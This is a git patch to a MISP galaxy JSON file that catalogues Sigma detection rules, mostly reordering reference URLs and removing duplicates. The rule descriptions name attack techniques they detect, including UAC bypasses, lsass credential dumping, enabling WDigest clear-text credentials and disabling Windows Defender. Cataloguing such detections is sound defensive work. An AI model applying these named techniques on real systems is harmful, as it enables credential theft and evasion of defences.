"3f6b7b62-61aa-45db-96bd-9c31b36b653c", + "value": "RDP Sensitive Settings Changed" + }, + { + "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/06/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_timeproviders_dllname.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.003" + ] + }, + "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", + "value": "Set TimeProviders DllName" + }, + { + "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", + "meta": { + "author": "frack113", + "creation_date": "2022/08/28", + "falsepositive": [ + "Legitimate use" + ], + "filename": "registry_set_treatas_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", + "value": "COM Hijacking via TreatAs" + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_uac_bypass_eventvwr.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ] + }, + "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", + "value": "UAC Bypass via Event Viewer" + }, + { + "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", + "meta": { + "author": "Omer Yampel, Christian Burkard", + "creation_date": "2017/03/17", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_uac_bypass_sdclt.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ] + }, + "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", + "value": "UAC Bypass via Sdclt" + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_uac_bypass_winsat.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", + "value": "UAC Bypass Abusing Winsat Path Parsing - Registry" + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_uac_bypass_wmp.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", + "value": "UAC Bypass Using Windows Media Player - Registry" + }, + { + "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_vbs_payload_stored.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", + "value": "VBScript Payload Stored in Registry" + }, + { + "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_wab_dllpath_reg_change.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "https://twitter.com/Hexacorn/status/991447379864932352", + "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", + "value": "Execution DLL of Choice Using WAB.EXE" + }, + { + "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2019/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_wdigest_enable_uselogoncredential.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", + "value": "Wdigest Enable UseLogonCredential" + }, + { + "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", + "meta": { + "author": "AlertIQ, Ján Trenčanský, frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Administrator actions" + ], + "filename": "registry_set_windows_defender_tamper.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", + "value": "Disable Windows Defender Functionalities Via Registry Keys" + }, + { + "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Legitmate use of the multi session functionality" + ], + "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", + "value": "Winlogon AllowMultipleTSSessions Enable" + }, + { + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_winlogon_notify_key.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ] + }, + "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", + "value": "Winlogon Notify Key Logon Persistence" + }, + { + "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "regsitry_set_natural_language_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/naturallanguage6.html", + "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", + "value": "Add DLLPathOverride Entry For Persistence" + }, + { + "description": "Detects Accessing to lsass.exe by Powershell", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "sysmon_accessing_winapi_in_powershell_credentials_dumping.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "3f07b9d1-2082-4c56-9277-613a621983cc", + "value": "Accessing WinAPI in PowerShell for Credentials Dumping" + }, + { + "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", + "meta": { + "author": "frack113", + "creation_date": "2022/01/12", + "falsepositive": [ + "Legitimate administrative action" + ], + "filename": "sysmon_config_modification.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", + "value": "Sysmon Configuration Change" + }, + { + "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", + "meta": { + "author": "frack113", + "creation_date": "2021/06/04", + "falsepositive": [ + "Legitimate administrative action" + ], + "filename": "sysmon_config_modification_error.yml", + "level": "high", + "logsource.category": "sysmon_error", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ] + }, + "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", + "value": "Sysmon Configuration Error" + }, + { + "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", + "meta": { + "author": "frack113", + "creation_date": "2021/06/04", + "falsepositive": [ + "Legitimate administrative action" + ], + "filename": "sysmon_config_modification_status.yml", + "level": "high", + "logsource.category": "sysmon_status", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ] + }, + "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", + "value": "Sysmon Configuration Modification" + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "sysmon_dcom_iertutil_dll_hijack.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ] + }, + "uuid": "e554f142-5cf3-4e55-ace9-a1b59e0def65", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack" + }, + { + "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/16", + "falsepositive": [ + "Unlikely" + ], + "filename": "sysmon_file_block_exe.yml", + "level": "high", + "logsource.category": "file_block", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", + "value": "Sysmon Blocked Executable" + }, + { + "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", + "meta": { + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", + "creation_date": "2022/01/25", + "falsepositive": [ + "There are no known false positives at this time" + ], + "filename": "sysmon_process_hollowing.yml", + "level": "high", + "logsource.category": "process_tampering", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.012" + ] + }, + "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", + "value": "Sysmon Process Hollowing Detection" + }, + { + "description": "Detects creation of WMI event subscription persistence method", + "meta": { + "author": "Tom Ueltschi (@c_APT_ure)", + "creation_date": "2019/01/12", + "falsepositive": [ + "Exclude legitimate (vetted) use of WMI event subscription in your network" + ], + "filename": "sysmon_wmi_event_subscription.yml", + "level": "medium", + "logsource.category": "wmi_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", + "value": "WMI Event Subscription" + }, + { + "description": "Detects suspicious encoded payloads in WMI Event Consumers", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "sysmon_wmi_susp_encoded_scripts.yml", + "level": "high", + "logsource.category": "wmi_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", + "value": "Suspicious Encoded Scripts in a WMI Consumer" + }, + { + "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro", + "creation_date": "2019/04/15", + "falsepositive": [ + "Legitimate administrative scripts" + ], + "filename": "sysmon_wmi_susp_scripting.yml", + "level": "high", + "logsource.category": "wmi_event", + "logsource.product": "windows", + "refs": [ + "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", + "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ] + }, + "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", + "value": "Suspicious Scripting in a WMI Consumer" + } + ], + "version": 1 +} diff --git a/galaxies/sigma-rules.json b/galaxies/sigma-rules.json index f7b766c..f2334b9 100644 --- a/galaxies/sigma-rules.json +++ b/galaxies/sigma-rules.json @@ -1,9 +1,9 @@ { - "description": "Sigma Rules are used to detect suspicious behaviors related to threat actors, malware and tools", - "icon": "link", - "name": "Sigma-Rules", - "namespace": "misp", - "type": "sigma-rules", - "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", - "version": 1 -} \ No newline at end of file + "description": "Sigma Rules are used to detect suspicious behaviors related to threat actors, malware and tools", + "icon": "link", + "name": "Sigma-Rules", + "namespace": "misp", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "version": 1 +} From c41b99d8b9bd774c7717387913cfb386bdd17918 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Fri, 18 Nov 2022 14:21:27 +0100 Subject: [PATCH 157/167] fix: [sigma] remove duplicate references --- clusters/sigma-rules.json | 6790 ++++++++++++++++++------------------- 1 file changed, 3394 insertions(+), 3396 deletions(-) diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json index b339e67..2b65a34 100644 --- a/clusters/sigma-rules.json +++ b/clusters/sigma-rules.json @@ -48,8 +48,8 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml", + "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/" ], "tags": [ "attack.execution", @@ -72,9 +72,9 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml", "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml" + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/" ], "tags": [ "attack.credential_access", @@ -100,10 +100,10 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://twitter.com/mvelazco/status/1410291741241102338", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml" + "https://twitter.com/mvelazco/status/1410291741241102338", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675" ], "tags": [ "attack.privilege_escalation", @@ -149,8 +149,8 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml", + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/" ], "tags": [ "attack.resource_development", @@ -173,16 +173,16 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", - "https://github.com/tennc/webshell", "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", - "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", - "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://github.com/tennc/webshell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml", "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", - "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", - "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml" + "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", + "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/" ], "tags": [ "attack.persistence", @@ -254,12 +254,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://attack.mitre.org/techniques/T1053/", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://attack.mitre.org/tactics/TA0008/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" ], "tags": [ @@ -284,13 +284,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0007/", + "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://attack.mitre.org/tactics/TA0007/" ], "tags": "No established tags" }, @@ -310,12 +309,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1033/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" + "https://attack.mitre.org/techniques/T1033/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/" ], "tags": [ "attack.t1033" @@ -337,11 +336,11 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://attack.mitre.org/tactics/TA0008/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" ], "tags": [ @@ -364,11 +363,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml", "https://attack.mitre.org/tactics/TA0007/", - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/" ], "tags": "No established tags" }, @@ -388,12 +386,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - 